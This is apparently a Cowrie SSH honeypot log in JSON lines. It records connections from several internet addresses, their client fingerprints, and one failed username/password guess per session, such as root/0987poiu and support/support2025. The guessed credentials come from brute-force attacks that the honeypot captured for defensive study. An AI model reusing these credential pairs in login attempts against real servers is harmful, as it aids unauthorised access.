{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8e389086f30","protocol":"ssh","message":"New connection: 4.227.177.11:39252 (10.17.0.5:22) [session: e8e389086f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:03.758477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:03.763687Z","src_ip":"4.227.177.11","session":"e8e389086f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:03.774811Z","src_ip":"4.227.177.11","session":"e8e389086f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp","message":"login attempt [tmp/tmp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:03.851587Z","src_ip":"4.227.177.11","session":"e8e389086f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:04.867003Z","src_ip":"4.227.177.11","session":"e8e389086f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e818a9cd597","protocol":"ssh","message":"New connection: 41.181.156.205:58996 (10.17.0.5:22) [session: 4e818a9cd597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:11.064935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:11.069932Z","src_ip":"41.181.156.205","session":"4e818a9cd597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:11.313320Z","src_ip":"41.181.156.205","session":"4e818a9cd597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:12.321031Z","src_ip":"41.181.156.205","session":"4e818a9cd597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:13.568970Z","src_ip":"41.181.156.205","session":"4e818a9cd597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":51196,"dst_ip":"10.17.0.5","dst_port":22,"session":"377bdd420f33","protocol":"ssh","message":"New connection: 87.226.190.225:51196 (10.17.0.5:22) [session: 377bdd420f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:20.027827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:20.035868Z","src_ip":"87.226.190.225","session":"377bdd420f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:20.198837Z","src_ip":"87.226.190.225","session":"377bdd420f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987poiu","message":"login attempt [root/0987poiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:20.878518Z","src_ip":"87.226.190.225","session":"377bdd420f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:22.043257Z","src_ip":"87.226.190.225","session":"377bdd420f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":52474,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc92e65fac3","protocol":"ssh","message":"New connection: 176.147.144.172:52474 (159.203.135.109:22) [session: 6dc92e65fac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:24.044309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:24.049594Z","src_ip":"176.147.144.172","session":"6dc92e65fac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:24.147399Z","src_ip":"176.147.144.172","session":"6dc92e65fac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support2025","message":"login attempt [support/support2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:24.568310Z","src_ip":"176.147.144.172","session":"6dc92e65fac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:25.667674Z","src_ip":"176.147.144.172","session":"6dc92e65fac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":59648,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a4e0120010","protocol":"ssh","message":"New connection: 36.91.81.195:59648 (159.203.135.109:22) [session: a9a4e0120010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:37.626758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:37.634429Z","src_ip":"36.91.81.195","session":"a9a4e0120010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:37.914544Z","src_ip":"36.91.81.195","session":"a9a4e0120010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"production","password":"production@123","message":"login attempt [production/production@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:39.066355Z","src_ip":"36.91.81.195","session":"a9a4e0120010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:40.349223Z","src_ip":"36.91.81.195","session":"a9a4e0120010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":32934,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a8c0d1f291","protocol":"ssh","message":"New connection: 137.184.228.138:32934 (159.203.135.109:22) [session: c3a8c0d1f291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:43.965570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:43.970954Z","src_ip":"137.184.228.138","session":"c3a8c0d1f291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:44.048391Z","src_ip":"137.184.228.138","session":"c3a8c0d1f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"123456","message":"login attempt [sammy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:44.385476Z","src_ip":"137.184.228.138","session":"c3a8c0d1f291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:45.465336Z","src_ip":"137.184.228.138","session":"c3a8c0d1f291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":46505,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e15d97b26f2","protocol":"ssh","message":"New connection: 89.144.214.214:46505 (10.17.0.5:22) [session: 6e15d97b26f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:55.035658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:55.043289Z","src_ip":"89.144.214.214","session":"6e15d97b26f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:55.183824Z","src_ip":"89.144.214.214","session":"6e15d97b26f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"P@ssw0rd","message":"login attempt [frontend/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:55.782881Z","src_ip":"89.144.214.214","session":"6e15d97b26f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:42:56.924046Z","src_ip":"89.144.214.214","session":"6e15d97b26f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38314,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b626d10acbe","protocol":"ssh","message":"New connection: 103.82.132.16:38314 (159.203.135.109:22) [session: 6b626d10acbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:04.452411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:04.457526Z","src_ip":"103.82.132.16","session":"6b626d10acbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:04.708612Z","src_ip":"103.82.132.16","session":"6b626d10acbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magdalena","message":"login attempt [root/magdalena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:05.463076Z","src_ip":"103.82.132.16","session":"6b626d10acbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:06.717460Z","src_ip":"103.82.132.16","session":"6b626d10acbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":34412,"dst_ip":"10.17.0.5","dst_port":22,"session":"332efb704450","protocol":"ssh","message":"New connection: 43.156.170.155:34412 (10.17.0.5:22) [session: 332efb704450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.515238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.520507Z","src_ip":"43.156.170.155","session":"332efb704450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50522,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9d777957e6","protocol":"ssh","message":"New connection: 109.237.96.109:50522 (10.17.0.5:22) [session: 1b9d777957e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.552741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.590914Z","src_ip":"109.237.96.109","session":"1b9d777957e6","protocol":"ssh"}
